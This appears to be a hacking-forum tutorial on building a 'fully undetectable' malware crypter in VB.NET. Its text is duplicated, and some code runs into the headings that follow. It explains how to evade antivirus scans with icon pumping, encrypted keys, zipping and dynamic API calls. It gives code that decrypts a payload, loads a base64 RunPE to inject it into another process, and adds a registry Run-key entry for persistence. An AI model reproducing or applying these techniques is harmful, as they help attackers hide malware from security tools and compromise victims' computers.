Things you need
1) - Common Sense
2) - An understanding of how crypters work (Like knowing the difference between builder and stub). Search google or search this forum for more info.
3) - Some programming experience. For this TUT I'll be using vb.net.
4) - Not to be judgemental. (I know my rep is bad...)
5) - My implementations of my FUD'ing techniques. I'll include download links and other stuff like that in this TUT.
Alright, let's get started...
FUD Builder Concepts
The idea behind a FUD crypter also includes your builder. Why might you ask?! Because the builder is how the file is crypted and how the malicious information is brought together with the crypted server and with the concepts I'm about to show you, it also includes some minor FUD techniques...
Before we proceed, let me give you two of the best cryper writing TUTs I've found on this forum.
TUT 1 - Scantime Concept
TUT 2 - Runtime Concept
Now that you have those, you might havea better understanding of crypter writing. Some of my ideas that I've included in my runtime crypter come from both those forum posts...
Next, for a FUD stub, in my opinion your going to want 2 things in the builder.
1 -- An icon changer function (Here's a LINK for a class I've created that you can add...)
You call it like this...
2 - A file pumper. This is essentially a junk code generator. But instead of using it on your server, you want to use it on your icon and make it around 80kb in size total and then inject that icon. LINK Just to let you know though, the source I added for the file pumper will need some minor modifications to get it to add kilobytes.
FUD Stub Concepts
Now the fun part...
For a FUD stub, there's a whole host of things you're going to need.
First off, you need to know that when you're using "Your Split Key", you're going to want to have that encrypted, same thing apllies in the builder though. Use sites like Crypo and stuff for that.
Secondly, best thing I've found is not to use the EOF method. It's really detected, it still can get down to like 4/37 because I've done it but it's a pain. To go along with that, try using IO.File or FileSystem.File*** as an alternative.
Third, try to find a zipping function on google so you can zip then encrypt your file. It helps with alot of detections
Lastly, when you add a RunPE to your project your going to want to encrypt it with a strong encyption and also use THIS. This is AeonHack's dynamic API calls. This part s where common sense comes in. Also instead of LoadLibraryA, use LoadLibraryExA for the CreateAPI part. Here's th RunPE I FUD'ed, It's easy to incorporate what I just mentioned. LINK
Also when trying to FUD the RunPE, you're going to want to convert it to a base64 string using a program (that I will provide in a moment), then you add it as a resource and invoke it, like this....
As I promised, Base64 Encoder Download.
Some Helpful Functions
The last section will just cover some helpful functions for your stub. Only 1 really plus a link to some other helpful tips.
Add to start up Function
Lastly, here's a LINK to some enable/disable functions and I got 1 more thing for you guys, A BUNCH OF ENCRYPT/DECRYPT FUNCTIONS!
Conclusion
Credits to all the people who posted the wonderful tutorials and sources. I hope you all find my tutorial helpful and useful. Peace out guys...
1) - Common Sense
2) - An understanding of how crypters work (Like knowing the difference between builder and stub). Search google or search this forum for more info.
3) - Some programming experience. For this TUT I'll be using vb.net.
4) - Not to be judgemental. (I know my rep is bad...)
5) - My implementations of my FUD'ing techniques. I'll include download links and other stuff like that in this TUT.
Alright, let's get started...
FUD Builder Concepts
The idea behind a FUD crypter also includes your builder. Why might you ask?! Because the builder is how the file is crypted and how the malicious information is brought together with the crypted server and with the concepts I'm about to show you, it also includes some minor FUD techniques...
Before we proceed, let me give you two of the best cryper writing TUTs I've found on this forum.
TUT 1 - Scantime Concept
TUT 2 - Runtime Concept
Now that you have those, you might havea better understanding of crypter writing. Some of my ideas that I've included in my runtime crypter come from both those forum posts...
Next, for a FUD stub, in my opinion your going to want 2 things in the builder.
1 -- An icon changer function (Here's a LINK for a class I've created that you can add...)
You call it like this...
Code
Dim Save_File As New SaveFileDialog ' This will be what you save your server as...
Dim OpenIconFile As New OpenFileDialog
IconChanger.InjectIcon(Save_File, OpenIconFileFUD Stub Concepts
Now the fun part...
For a FUD stub, there's a whole host of things you're going to need.
First off, you need to know that when you're using "Your Split Key", you're going to want to have that encrypted, same thing apllies in the builder though. Use sites like Crypo and stuff for that.
Secondly, best thing I've found is not to use the EOF method. It's really detected, it still can get down to like 4/37 because I've done it but it's a pain. To go along with that, try using IO.File or FileSystem.File*** as an alternative.
Third, try to find a zipping function on google so you can zip then encrypt your file. It helps with alot of detections
Lastly, when you add a RunPE to your project your going to want to encrypt it with a strong encyption and also use THIS. This is AeonHack's dynamic API calls. This part s where common sense comes in. Also instead of LoadLibraryA, use LoadLibraryExA for the CreateAPI part. Here's th RunPE I FUD'ed, It's easy to incorporate what I just mentioned. LINK
Also when trying to FUD the RunPE, you're going to want to convert it to a base64 string using a program (that I will provide in a moment), then you add it as a resource and invoke it, like this....
Code
Dim unpack As Byte() = YourDecryptedSever
Dim inj As String = PathYouWantToInject
Assembly.Load(Convert.FromBase64String(Encoding.Default.GetString
(My.Resources.RunPE))).GetType("RunPE.ClassName").GetMethod
("RunPEsub").Invoke(Nothing, New Object() {unpack, inj})Some Helpful Functions
The last section will just cover some helpful functions for your stub. Only 1 really plus a link to some other helpful tips.
Add to start up Function
Code
Dim app As String = IO.Path.GetTempPath & "YourPreferredStartup.exe"
My.Computer.Registry.CurrentUser.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", True).SetValue("YourStart", app)Conclusion
Credits to all the people who posted the wonderful tutorials and sources. I hope you all find my tutorial helpful and useful. Peace out guys...


